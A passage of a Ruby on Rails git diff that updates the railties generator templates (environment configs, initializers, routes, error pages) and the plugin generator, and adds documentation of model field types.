-  # Print deprecation notices to the Rails logger
+  # Print deprecation notices to the Rails logger.
   config.active_support.deprecation = :log
 
-  # Only use best-standards-support built into browsers
+  # Only use best-standards-support built into browsers.
   config.action_dispatch.best_standards_support = :builtin
 
   <%- unless options.skip_active_record? -%>
-  # Raise exception on mass assignment protection for ActiveRecord models
+  # Raise exception on mass assignment protection for Active Record models.
   config.active_record.mass_assignment_sanitizer = :strict
+
+  # Log the query plan for queries taking more than this (works
+  # with SQLite, MySQL, and PostgreSQL).
+  config.active_record.auto_explain_threshold_in_seconds = 0.5
+
+  # Raise an error on page load if there are pending migrations
+  config.active_record.migration_error = :page_load
   <%- end -%>
 
-  # Do not compress assets
+  <%- unless options.skip_sprockets? -%>
+  # Do not compress assets.
   config.assets.compress = false
 
-  # Expands the lines which load the assets
+  # Debug mode disables concatenation and preprocessing of assets.
   config.assets.debug = true
+  <%- end -%>
+
+  # In development, use an in-memory queue for queueing.
+  config.queue = Rails::Queueing::Queue
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
index 50f2df3d35..a627636089 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
@@ -1,63 +1,86 @@
 <%= app_const %>.configure do
-  # Settings specified here will take precedence over those in config/application.rb
+  # Settings specified here will take precedence over those in config/application.rb.
 
-  # Code is not reloaded between requests
+  # Code is not reloaded between requests.
   config.cache_classes = true
 
-  # Full error reports are disabled and caching is turned on
+  # Eager load code on boot. This eager loads most of Rails and
+  # your application in memory, allowing both thread web servers
+  # and those relying on copy on write to perform better.
+  # Rake tasks automatically ignore this option for performance.
+  config.eager_load = true
+
+  # Full error reports are disabled and caching is turned on.
   config.consider_all_requests_local       = false
   config.action_controller.perform_caching = true
 
-  # Disable Rails's static asset server (Apache or nginx will already do this)
+  # Disable Rails's static asset server (Apache or nginx will already do this).
   config.serve_static_assets = false
 
-  # Compress JavaScripts and CSS
+  <%- unless options.skip_sprockets? -%>
+  # Compress JavaScripts and CSS.
   config.assets.compress = true
 
-  # Don't fallback to assets pipeline if a precompiled asset is missed
+  # Don't fallback to assets pipeline if a precompiled asset is missed.
   config.assets.compile = false
 
-  # Generate digests for assets URLs
+  # Generate digests for assets URLs.
   config.assets.digest = true
+  <%- end -%>
 
-  # Defaults to Rails.root.join("public/assets")
-  # config.assets.manifest = YOUR_PATH
-
-  # Specifies the header that your server uses for sending files
+  # Specifies the header that your server uses for sending files.
   # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
   # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
 
   # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
   # config.force_ssl = true
 
-  # See everything in the log (default is :info)
-  # config.log_level = :debug
+  # Set to :debug to see everything in the log.
+  config.log_level = :info
 
-  # Prepend all log lines with the following tags
+  # Prepend all log lines with the following tags.
   # config.log_tags = [ :subdomain, :uuid ]
 
-  # Use a different logger for distributed setups
+  # Use a different logger for distributed setups.
   # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new)
 
-  # Use a different cache store in production
+  # Use a different cache store in production.
   # config.cache_store = :mem_cache_store
 
-  # Enable serving of images, stylesheets, and JavaScripts from an asset server
+  # Enable serving of images, stylesheets, and JavaScripts from an asset server.
   # config.action_controller.asset_host = "http://assets.example.com"
 
-  # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+  <%- unless options.skip_sprockets? -%>
+  # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added).
   # config.assets.precompile += %w( search.js )
+  <%- end -%>
 
-  # Disable delivery errors, bad email addresses will be ignored
+  # Disable delivery errors, bad email addresses will be ignored.
   # config.action_mailer.raise_delivery_errors = false
 
-  # Enable threaded mode
+  # Enable threaded mode.
   # config.threadsafe!
 
   # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
-  # the I18n.default_locale when a translation can not be found)
+  # the I18n.default_locale when a translation can not be found).
   config.i18n.fallbacks = true
 
-  # Send deprecation notices to registered listeners
+  # Send deprecation notices to registered listeners.
   config.active_support.deprecation = :notify
+
+  <%- unless options.skip_active_record? -%>
+  # Log the query plan for queries taking more than this (works
+  # with SQLite, MySQL, and PostgreSQL).
+  # config.active_record.auto_explain_threshold_in_seconds = 0.5
+  <%- end -%>
+
+  # Disable automatic flushing of the log to improve performance.
+  # config.autoflush_log = false
+
+  # Use default logging formatter so that PID and timestamp are not suppressed.
+  config.log_formatter = ::Logger::Formatter.new
+
+  # Default the production mode queue to an in-memory queue. You will probably
+  # want to replace this with an out-of-process queueing solution.
+  config.queue = Rails::Queueing::Queue
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
index 80198cc21e..8ab27eb6e1 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
@@ -1,5 +1,5 @@
 <%= app_const %>.configure do
-  # Settings specified here will take precedence over those in config/application.rb
+  # Settings specified here will take precedence over those in config/application.rb.
 
   # The test environment is used exclusively to run your application's
   # test suite. You never need to work with it otherwise. Remember that
@@ -7,38 +7,38 @@
   # and recreated between test runs. Don't rely on the data there!
   config.cache_classes = true
 
-  # Configure static asset server for tests with Cache-Control for performance
+  # Do not eager load code on boot. This avoids loading your whole application
+  # just for the purpose of running a single test. If you are using a tool that
+  # preloads Rails for running tests, you may have to set it to true.
+  config.eager_load = false
+
+  # Configure static asset server for tests with Cache-Control for performance.
   config.serve_static_assets = true
   config.static_cache_control = "public, max-age=3600"
 
-  # Log error messages when you accidentally call methods on nil
-  config.whiny_nils = true
-
-  # Show full error reports and disable caching
+  # Show full error reports and disable caching.
   config.consider_all_requests_local       = true
   config.action_controller.perform_caching = false
 
-  # Raise exceptions instead of rendering exception templates
+  # Raise exceptions instead of rendering exception templates.
   config.action_dispatch.show_exceptions = false
 
-  # Disable request forgery protection in test environment
-  config.action_controller.allow_forgery_protection    = false
+  # Disable request forgery protection in test environment.
+  config.action_controller.allow_forgery_protection = false
 
   # Tell Action Mailer not to deliver emails to the real world.
   # The :test delivery method accumulates sent emails in the
   # ActionMailer::Base.deliveries array.
   config.action_mailer.delivery_method = :test
 
-  # Use SQL instead of Active Record's schema dumper when creating the test database.
-  # This is necessary if your schema can't be completely dumped by the schema dumper,
-  # like if you have constraints or database-specific column types
-  # config.active_record.schema_format = :sql
-
   <%- unless options.skip_active_record? -%>
-  # Raise exception on mass assignment protection for ActiveRecord models
+  # Raise exception on mass assignment protection for Active Record models.
   config.active_record.mass_assignment_sanitizer = :strict
   <%- end -%>
 
-  # Print deprecation notices to the stderr
+  # Print deprecation notices to the stderr.
   config.active_support.deprecation = :stderr
+
+  # Use the testing queue.
+  config.queue = Rails::Queueing::TestQueue
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb
index 5d8d9be237..9262c3379f 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb
@@ -1,8 +1,9 @@
 # Be sure to restart your server when you modify this file.
 
-# Add new inflection rules using the following format
-# (all these examples are active by default):
-# ActiveSupport::Inflector.inflections do |inflect|
+# Add new inflection rules using the following format. Inflections
+# are locale specific, and you may define rules for as many different
+# locales as you wish. All of these examples are active by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
 #   inflect.plural /^(ox)$/i, '\1en'
 #   inflect.singular /^(ox)en/i, '\1'
 #   inflect.irregular 'person', 'people'
@@ -10,6 +11,6 @@
 # end
 #
 # These inflection rules are supported but not enabled by default:
-# ActiveSupport::Inflector.inflections do |inflect|
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
 #   inflect.acronym 'RESTful'
 # end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
index a3143f1346..e02397aaf9 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
@@ -4,4 +4,6 @@
 # If you change this key, all old signed cookies will become invalid!
 # Make sure the secret is at least 30 characters and all random,
 # no regular words or you'll be exposed to dictionary attacks.
+# Make sure your secret_token is kept private
+# if you're sharing your code publicly.
 <%= app_const %>.config.secret_token = '<%= app_secret %>'
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
index ddfe4ba1e1..ff676280cb 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt
@@ -1,8 +1,8 @@
 # Be sure to restart your server when you modify this file.
 
-<%= app_const %>.config.session_store :cookie_store, <%= key_value :key, "'_#{app_name}_session'" %>
+<%= app_const %>.config.session_store :cookie_store, key: <%= "'_#{app_name}_session'" %>
 
 # Use the database for sessions instead of the cookie-based default,
 # which shouldn't be used to store highly confidential information
-# (create the session table with "rails generate session_migration")
+# (create the session table with "rails generate session_migration").
 # <%= app_const %>.config.session_store :active_record_store
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
index d640f578da..280f777cc0 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
@@ -5,12 +5,12 @@
 
 # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
 ActiveSupport.on_load(:action_controller) do
-  wrap_parameters <%= key_value :format, "[:json]" %>
+  wrap_parameters format: [:json] if respond_to?(:wrap_parameters)
 end
 
 <%- unless options.skip_active_record? -%>
-# Disable root element in JSON by default.
-ActiveSupport.on_load(:active_record) do
-  self.include_root_in_json = false
-end
+# To enable root element in JSON for ActiveRecord objects.
+# ActiveSupport.on_load(:active_record) do
+#  self.include_root_in_json = true
+# end
 <%- end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/locales/en.yml b/railties/lib/rails/generators/rails/app/templates/config/locales/en.yml
index 179c14ca52..0653957166 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/locales/en.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/locales/en.yml
@@ -1,5 +1,23 @@
-# Sample localization file for English. Add more files in this directory for other locales.
-# See https://github.com/svenfuchs/rails-i18n/tree/master/rails%2Flocale for starting points.
+# Files in the config/locales directory are used for internationalization
+# and are automatically loaded by Rails. If you want to use locales other
+# than English, add the necessary files in this directory.
+#
+# To use the locales, use `I18n.t`:
+#
+#     I18n.t 'hello'
+#
+# In views, this is aliased to just `t`:
+#
+#     <%= t('hello') %>
+#
+# To use a different locale, set it with `I18n.locale`:
+#
+#     I18n.locale = :es
+#
+# This would use the information in config/locales/es.yml.
+#
+# To learn more, please read the Rails Internationalization guide
+# available at http://guides.rubyonrails.org/i18n.html.
 
 en:
   hello: "Hello world"
diff --git a/railties/lib/rails/generators/rails/app/templates/config/routes.rb b/railties/lib/rails/generators/rails/app/templates/config/routes.rb
index ea81748464..f6b1ef1feb 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/routes.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/routes.rb
@@ -2,13 +2,17 @@
   # The priority is based upon order of creation:
   # first created -> highest priority.
 
+  # You can have the root of your site routed with "root"
+  # just remember to delete public/index.html.
+  # root to: 'welcome#index'
+
   # Sample of regular route:
-  #   match 'products/:id' => 'catalog#view'
-  # Keep in mind you can assign values other than :controller and :action
+  #   get 'products/:id' => 'catalog#view'
+  # Keep in mind you can assign values other than :controller and :action.
 
   # Sample of named route:
-  #   match 'products/:id/purchase' => 'catalog#purchase', :as => :purchase
-  # This route can be invoked with purchase_url(:id => product.id)
+  #   get 'products/:id/purchase' => 'catalog#purchase', as: :purchase
+  # This route can be invoked with purchase_url(id: product.id).
 
   # Sample resource route (maps HTTP verbs to controller actions automatically):
   #   resources :products
@@ -31,11 +35,11 @@
   #     resource :seller
   #   end
 
-  # Sample resource route with more complex sub-resources
+  # Sample resource route with more complex sub-resources:
   #   resources :products do
   #     resources :comments
   #     resources :sales do
-  #       get 'recent', :on => :collection
+  #       get 'recent', on: :collection
   #     end
   #   end
 
@@ -46,13 +50,6 @@
   #     resources :products
   #   end
 
-  # You can have the root of your site routed with "root"
-  # just remember to delete public/index.html.
-  # root :to => 'welcome#index'
-
-  # See how all your routes lay out with "rake routes"
 
-  # This is a legacy wild controller route that's not recommended for RESTful applications.
-  # Note: This route will make all actions in every controller accessible via GET requests.
-  # match ':controller(/:action(/:id))(.:format)'
+  # See how all your routes lay out with "rake routes".
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt b/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt
index f75c5dd941..4edb1e857e 100644
--- a/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt
@@ -3,5 +3,5 @@
 #
 # Examples:
 #
-#   cities = City.create([{ <%= key_value :name, "'Chicago'" %> }, { <%= key_value :name, "'Copenhagen'" %> }])
-#   Mayor.create(<%= key_value :name, "'Emanuel'" %>, <%= key_value :city, "cities.first" %>)
+#   cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }])
+#   Mayor.create(name: 'Emanuel', city: cities.first)
diff --git a/railties/lib/rails/generators/rails/app/templates/gitignore b/railties/lib/rails/generators/rails/app/templates/gitignore
index eb3489a986..8910bf5a06 100644
--- a/railties/lib/rails/generators/rails/app/templates/gitignore
+++ b/railties/lib/rails/generators/rails/app/templates/gitignore
@@ -9,6 +9,7 @@
 
 # Ignore the default SQLite database.
 /db/*.sqlite3
+/db/*.sqlite3-journal
 
 # Ignore all logfiles and tempfiles.
 /log/*.log
diff --git a/railties/lib/rails/generators/rails/app/templates/public/404.html b/railties/lib/rails/generators/rails/app/templates/public/404.html
index 9a48320a5f..3d875c342e 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/404.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/404.html
@@ -2,7 +2,7 @@
 <html>
 <head>
   <title>The page you were looking for doesn't exist (404)</title>
-  <style type="text/css">
+  <style>
     body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
     div.dialog {
       width: 25em;
@@ -22,5 +22,6 @@
     <h1>The page you were looking for doesn't exist.</h1>
     <p>You may have mistyped the address or the page may have moved.</p>
   </div>
+  <p>If you are the application owner check the logs for more information.</p>
 </body>
 </html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/422.html b/railties/lib/rails/generators/rails/app/templates/public/422.html
index 83660ab187..3f1bfb3417 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/422.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/422.html
@@ -2,7 +2,7 @@
 <html>
 <head>
   <title>The change you wanted was rejected (422)</title>
-  <style type="text/css">
+  <style>
     body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
     div.dialog {
       width: 25em;
diff --git a/railties/lib/rails/generators/rails/app/templates/public/500.html b/railties/lib/rails/generators/rails/app/templates/public/500.html
index f3648a0dbc..012977d3d2 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/500.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/500.html
@@ -2,7 +2,7 @@
 <html>
 <head>
   <title>We're sorry, but something went wrong (500)</title>
-  <style type="text/css">
+  <style>
     body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; }
     div.dialog {
       width: 25em;
@@ -21,5 +21,6 @@
   <div class="dialog">
     <h1>We're sorry, but something went wrong.</h1>
   </div>
+  <p>If you are the application owner check the logs for more information.</p>
 </body>
 </html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/index.html b/railties/lib/rails/generators/rails/app/templates/public/index.html
index 9d9811a5bf..dd09a96de9 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/index.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/index.html
@@ -2,7 +2,7 @@
 <html>
   <head>
     <title>Ruby on Rails: Welcome aboard</title>
-    <style type="text/css" media="screen">
+    <style media="screen">
       body {
         margin: 0;
         margin-bottom: 25px;
@@ -59,7 +59,7 @@
 
 
       #header {
-        background-image: url("/assets/rails.png");
+        background-image: url("assets/rails.png");
         background-repeat: no-repeat;
         background-position: top left;
         height: 64px;
@@ -171,7 +171,7 @@
         font-style: italic;
       }
     </style>
-    <script type="text/javascript">
+    <script>
       function about() {
         info = document.getElementById('about-content');
         if (window.XMLHttpRequest)
diff --git a/railties/lib/rails/generators/rails/app/templates/public/robots.txt b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
index 085187fa58..1a3a5e4dd2 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/robots.txt
+++ b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
@@ -1,5 +1,5 @@
 # See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
 #
 # To ban all spiders from the entire site uncomment the next two lines:
-# User-Agent: *
+# User-agent: *
 # Disallow: /
diff --git a/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb b/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb
index 3fea27b916..d09ce5ad34 100644
--- a/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb
+++ b/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb
@@ -3,10 +3,10 @@ require 'rails/performance_test_help'
 
 class BrowsingTest < ActionDispatch::PerformanceTest
   # Refer to the documentation for all available options
-  # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory]
-  #                          :output => 'tmp/performance', :formats => [:flat] }
+  # self.profile_options = { runs: 5, metrics: [:wall_time, :memory],
+  #                          output: 'tmp/performance', formats: [:flat] }
 
-  def test_homepage
+  test "homepage" do
     get '/'
   end
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
index a8f7aeac7d..9afda2d0df 100644
--- a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
+++ b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
@@ -4,7 +4,9 @@ require 'rails/test_help'
 
 class ActiveSupport::TestCase
 <% unless options[:skip_active_record] -%>
-  # Setup all fixtures in test/fixtures/*.(yml|csv) for all tests in alphabetical order.
+  ActiveRecord::Migration.check_pending!
+
+  # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
   #
   # Note: You'll currently still have to declare fixtures explicitly in integration tests
   # -- they do not yet inherit this setting
diff --git a/railties/lib/rails/generators/rails/controller/templates/controller.rb b/railties/lib/rails/generators/rails/controller/templates/controller.rb
index 52243f4a2f..633e0b3177 100644
--- a/railties/lib/rails/generators/rails/controller/templates/controller.rb
+++ b/railties/lib/rails/generators/rails/controller/templates/controller.rb
@@ -1,3 +1,7 @@
+<% if namespaced? -%>
+require_dependency "<%= namespaced_path %>/application_controller"
+
+<% end -%>
 <% module_namespacing do -%>
 class <%= class_name %>Controller < ApplicationController
 <% actions.each do |action| -%>
diff --git a/railties/lib/rails/generators/rails/migration/migration_generator.rb b/railties/lib/rails/generators/rails/migration/migration_generator.rb
index 39fa5b63b1..f87dce1502 100644
--- a/railties/lib/rails/generators/rails/migration/migration_generator.rb
+++ b/railties/lib/rails/generators/rails/migration/migration_generator.rb
@@ -1,7 +1,7 @@
 module Rails
   module Generators
     class MigrationGenerator < NamedBase #metagenerator
-      argument :attributes, :type => :array, :default => [], :banner => "field:type field:type"
+      argument :attributes, :type => :array, :default => [], :banner => "field[:type][:index] field[:type][:index]"
       hook_for :orm, :required => true
     end
   end
diff --git a/railties/lib/rails/generators/rails/model/USAGE b/railties/lib/rails/generators/rails/model/USAGE
index 67f76aad01..c46c86076e 100644
--- a/railties/lib/rails/generators/rails/model/USAGE
+++ b/railties/lib/rails/generators/rails/model/USAGE
@@ -19,6 +19,55 @@ Description:
     then the generator will create a module with a table_name_prefix method
     to prefix the model's table name with the module name (e.g. admin_account)
 
+Available field types:
+
+    Just after the field name you can specify a type like text or boolean. 
+    It will generate the column with the associated SQL type. For instance:
+
+        `rails generate model post title:string body:text`
+
+    will generate a title column with a varchar type and a body column with a text 
+    type. You can use the following types:
+
+        integer
+        primary_key
+        decimal
+        float
+        boolean
+        binary
+        string
+        text
+        date
+        time
+        datetime
+        timestamp
+
+    You can also consider `references` as a kind of type. For instance, if you run:
+
+        `rails generate model photo title:string album:references`
+
+    It will generate an album_id column. You should generate this kind of fields when
+    you will use a `belongs_to` association for instance. `references` also support
+    the polymorphism, you could enable the polymorphism like this:
+
+        `rails generate model product supplier:references{polymorphic}`
+
+    You can also specify some options just after the field type. You can use the
+    following options:
+
+        limit        Set the maximum size of the field giving a number between curly braces
+        default      Set a default value for the field
+        precision    Defines the precision for the decimal fields 
+        scale        Defines the scale for the decimal fields
+        uniq         Defines the field values as unique 
+        index        Will add an index on the field
+
+    Examples:
+
+        `rails generate model user pseudo:string{30}`
+        `rails generate model user pseudo:string:uniq`
+        
+
 Examples:
     `rails generate model account`
 
diff --git a/railties/lib/rails/generators/rails/model/model_generator.rb b/railties/lib/rails/generators/rails/model/model_generator.rb
index 629d5eed3f..9bb29b784e 100644
--- a/railties/lib/rails/generators/rails/model/model_generator.rb
+++ b/railties/lib/rails/generators/rails/model/model_generator.rb
@@ -1,7 +1,7 @@
 module Rails
   module Generators
     class ModelGenerator < NamedBase #metagenerator
-      argument :attributes, :type => :array, :default => [], :banner => "field:type field:type"
+      argument :attributes, :type => :array, :default => [], :banner => "field[:type][:index] field[:type][:index]"
       hook_for :orm, :required => true
     end
   end
diff --git a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
index 4baa2110e7..4f937ad65a 100644
--- a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
+++ b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
@@ -39,7 +39,7 @@ module Rails
     end
 
     def gitignore
-      copy_file "gitignore", ".gitignore"
+      template "gitignore", ".gitignore"
     end
 
     def lib
@@ -133,6 +133,16 @@ task :default => :test
       end
       chmod "script", 0755, :verbose => false
     end
+
+    def gemfile_entry
+      return unless inside_application?
+
+      gemfile_in_app_path = File.join(rails_app_path, "Gemfile")
+      if File.exist? gemfile_in_app_path
+        entry = "gem '#{name}', path: '#{relative_path}'"
+        append_file gemfile_in_app_path, entry
+      end
+    end
   end
 
   module Generators
@@ -145,7 +155,7 @@ task :default => :test
                                   :desc => "Create dummy application at given path"
 
       class_option :full,         :type => :boolean, :default => false,
-                                  :desc => "Generate rails engine with integration tests"
+                                  :desc => "Generate a rails engine with bundled Rails application for testing"
 
       class_option :mountable,    :type => :boolean, :default => false,
                                   :desc => "Generate mountable isolated application"
@@ -153,6 +163,10 @@ task :default => :test
       class_option :skip_gemspec, :type => :boolean, :default => false,
                                   :desc => "Skip gemspec file"
 
+      class_option :skip_gemfile_entry, :type => :boolean, :default => false,
+                                        :desc => "If creating plugin in application's directory " +
+                                                 "skip adding entry to Gemfile"
+
       def initialize(*args)
         raise Error, "Options should be given after the plugin name. For details run: rails plugin --help" if args[0].blank?
 
@@ -208,12 +222,28 @@ task :default => :test
         create_dummy_app
       end
 
+      def update_gemfile
+        build(:gemfile_entry) unless options[:skip_gemfile_entry]
+      end
+
       def finish_template
         build(:leftovers)
       end
 
       public_task :apply_rails_template, :run_bundle
 
+      def name
+        @name ||= begin
+          # same as ActiveSupport::Inflector#underscore except not replacing '-'
+          underscored = original_name.dup
+          underscored.gsub!(/([A-Z]+)([A-Z][a-z])/,'\1_\2')
+          underscored.gsub!(/([a-z\d])([A-Z])/,'\1_\2')
+          underscored.downcase!
+
+          underscored
+        end
+      end
+
     protected
 
       def app_templates_dir
@@ -246,8 +276,8 @@ task :default => :test
         "rails plugin new #{self.arguments.map(&:usage).join(' ')} [options]"
       end
 
-      def name
-        @name ||= File.basename(destination_root)
+      def original_name
+        @original_name ||= File.basename(destination_root)
       end
 
       def camelized
@@ -255,12 +285,14 @@ task :default => :test
       end
 
       def valid_const?
-        if camelized =~ /^\d/
-          raise Error, "Invalid plugin name #{name}. Please give a name which does not start with numbers."
+        if original_name =~ /[^0-9a-zA-Z_]+/
+          raise Error, "Invalid plugin name #{original_name}. Please give a name which use only alphabetic or numeric or \"_\" characters."
+        elsif camelized =~ /^\d/
+          raise Error, "Invalid plugin name #{original_name}. Please give a name which does not start with numbers."
         elsif RESERVED_NAMES.include?(name)
-          raise Error, "Invalid plugin name #{name}. Please give a name which does not match one of the reserved rails words."
+          raise Error, "Invalid plugin name #{original_name}. Please give a name which does not match one of the reserved rails words."
         elsif Object.const_defined?(camelized)
-          raise Error, "Invalid plugin name #{name}, constant #{camelized} is already in use. Please choose another plugin name."
+          raise Error, "Invalid plugin name #{original_name}, constant #{camelized} is already in use. Please choose another plugin name."
         end
       end
 
@@ -270,7 +302,7 @@ task :default => :test
           dummy_application_path = File.expand_path("#{dummy_path}/config/application.rb", destination_root)
           unless options[:pretend] || !File.exists?(dummy_application_path)
             contents = File.read(dummy_application_path)
-            contents[(contents.index("module Dummy"))..-1]
+            contents[(contents.index(/module ([\w]+)\n(.*)class Application/m))..-1]
           end
         end
       end
@@ -301,6 +333,19 @@ end
       def mute(&block)
         shell.mute(&block)
       end
+
+      def rails_app_path
+        APP_PATH.sub("/config/application", "") if defined?(APP_PATH)
+      end
+
+      def inside_application?
+        rails_app_path && app_path =~ /^#{rails_app_path}/
+      end
+
+      def relative_path
+        return unless inside_application?
+        app_path.sub(/^#{rails_app_path}\//, '')
+      end
     end
   end
 end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec
index 8588e88077..568ed653b7 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec
@@ -13,7 +13,7 @@ Gem::Specification.new do |s|
   s.summary     = "TODO: Summary of <%= camelized %>."
   s.description = "TODO: Description of <%= camelized %>."
 
-  s.files = Dir["{app,config,db,lib}/**/*"] + ["MIT-LICENSE", "Rakefile", "README.rdoc"]
+  s.files = Dir["{app,config,db,lib}/**/*", "MIT-LICENSE", "Rakefile", "README.rdoc"]
 <% unless options.skip_test_unit? -%>
   s.test_files = Dir["test/**/*"]
 <% end -%>
@@ -22,6 +22,8 @@ Gem::Specification.new do |s|
 <% if full? && !options[:skip_javascript] -%>
   # s.add_dependency "<%= "#{options[:javascript]}-rails" %>"
 <% end -%>
+<% unless options[:skip_active_record] -%>
 
   s.add_development_dependency "<%= gem_for_database %>"
+<% end -%>
 end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
index f4efd3af74..7448b386c5 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
@@ -1,17 +1,32 @@
 source "http://rubygems.org"
 
+<% if options[:skip_gemspec] -%>
+<%= '# ' if options.dev? || options.edge? -%>gem "rails", "~> <%= Rails::VERSION::STRING %>"
+<% if full? && !options[:skip_javascript] -%>
+# gem "<%= "#{options[:javascript]}-rails" %>"
+<% end -%>
+<% else -%>
 # Declare your gem's dependencies in <%= name %>.gemspec.
 # Bundler will treat runtime dependencies like base dependencies, and
 # development dependencies will be added by default to the :development group.
 gemspec
+<% end -%>
 
+<% unless options[:javascript] == 'jquery' -%>
 # jquery-rails is used by the dummy application
 gem "jquery-rails"
 
+<% end -%>
+<% if options[:skip_gemspec] -%>
+group :development do
+  gem "<%= gem_for_database %>"
+end
+<% else -%>
 # Declare any dependencies that are still in development here instead of in
 # your gemspec. These might include edge Rails or gems from your path or
 # Git. Remember to move these dependencies to your gemspec before releasing
 # your gem to rubygems.org.
+<% end -%>
 
 <% if options.dev? || options.edge? -%>
 # Your gem is dependent on dev or edge Rails. Once you can lock this
@@ -20,4 +35,4 @@ gem "jquery-rails"
 
 <% end -%>
 # To use debugger
-# <%= ruby_debugger_gemfile_entry %>
+# gem 'debugger'
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile b/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile
index 6ed6adcf1b..1369140537 100755..100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile
@@ -1,16 +1,10 @@
-#!/usr/bin/env rake
 begin
   require 'bundler/setup'
 rescue LoadError
   puts 'You must `gem install bundler` and `bundle install` to run rake tasks'
 end
-begin
-  require 'rdoc/task'
-rescue LoadError
-  require 'rdoc/rdoc'
-  require 'rake/rdoctask'
-  RDoc::Task = Rake::RDocTask
-end
+
+require 'rdoc/task'
 
 RDoc::Task.new(:rdoc) do |rdoc|
   rdoc.rdoc_dir = 'rdoc'
@@ -20,7 +14,7 @@ RDoc::Task.new(:rdoc) do |rdoc|
